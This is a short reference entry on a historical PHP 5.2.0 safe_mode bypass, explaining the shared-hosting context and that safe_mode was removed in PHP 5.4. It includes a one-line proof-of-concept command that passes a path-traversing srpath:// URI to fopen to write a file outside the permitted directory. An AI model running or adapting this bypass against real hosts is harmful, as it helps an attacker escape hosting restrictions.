PHP 5.2 fopen safe_mode Bypass

This historical local exploit targets a safe_mode restriction-bypass issue reported in PHP 5.2.0. In a shared-hosting scenario where an attacker could already execute PHP code, a crafted srpath:// URI passed to fopen could write a file outside the intended location.^[1] This is not a general bypass for modern PHP because safe_mode and its related configuration options were removed in PHP 5.4.^[2]

php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");'

References

• [1] Exploit Database - PHP 5.2 fopen safe_mode Restriction Bypass
• [2] PHP 5.4.0 Release Announcement